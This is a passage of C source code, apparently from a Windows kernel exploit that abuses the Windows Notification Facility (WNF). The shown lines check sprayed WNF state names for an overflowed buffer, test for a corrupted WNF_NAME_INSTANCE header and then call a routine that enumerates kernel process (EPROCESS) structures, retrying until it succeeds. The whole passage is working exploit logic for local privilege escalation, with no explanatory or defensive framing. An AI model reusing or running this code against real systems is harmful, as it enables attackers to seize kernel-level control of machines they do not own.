541 | } 542 | 543 | 544 | for (int i = 0; i < SPRAY_COUNT; i += 2) 545 | { 546 | WNF_CHANGE_STAMP Stamp; 547 | ULONG BufferSize = 0xa0; 548 | UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 }; 549 | if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0) 550 | continue; 551 | NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize); 552 | if (state == 0xc0000023) 553 | { 554 | 555 | BufferSize = OVER_STATEDATA_LENGTH; 556 | state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize); 557 | if (state != 0) 558 | { 559 | ; 560 | } 561 | else 562 | { 563 | PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10); 564 | 565 | if (NameIns->Header.NodeByteSize == 0xa8 && 566 | NameIns->Header.NodeTypeCode == 0x903 && 567 | NameIns->RunRef.Ptr == NULL 568 | ) 569 | { 570 | if (EnumProcessEprocess(&StateNames[i], Buff) == 0) 571 | { 572 | 573 | IsSuccess = TRUE; 574 | } 575 | 576 | 577 | } 578 | 579 | } 580 | } 581 | } 582 | 583 | if (IsSuccess == FALSE) 584 | goto RE_TRY; 585 | 586 | 587 | IsSuccess = !IsSuccess; 588 | 589 | 590 | PAUSE: 591 | system("pause"); 592 | return 0; 593 | } 594 | --------------------------------------------------------------------------------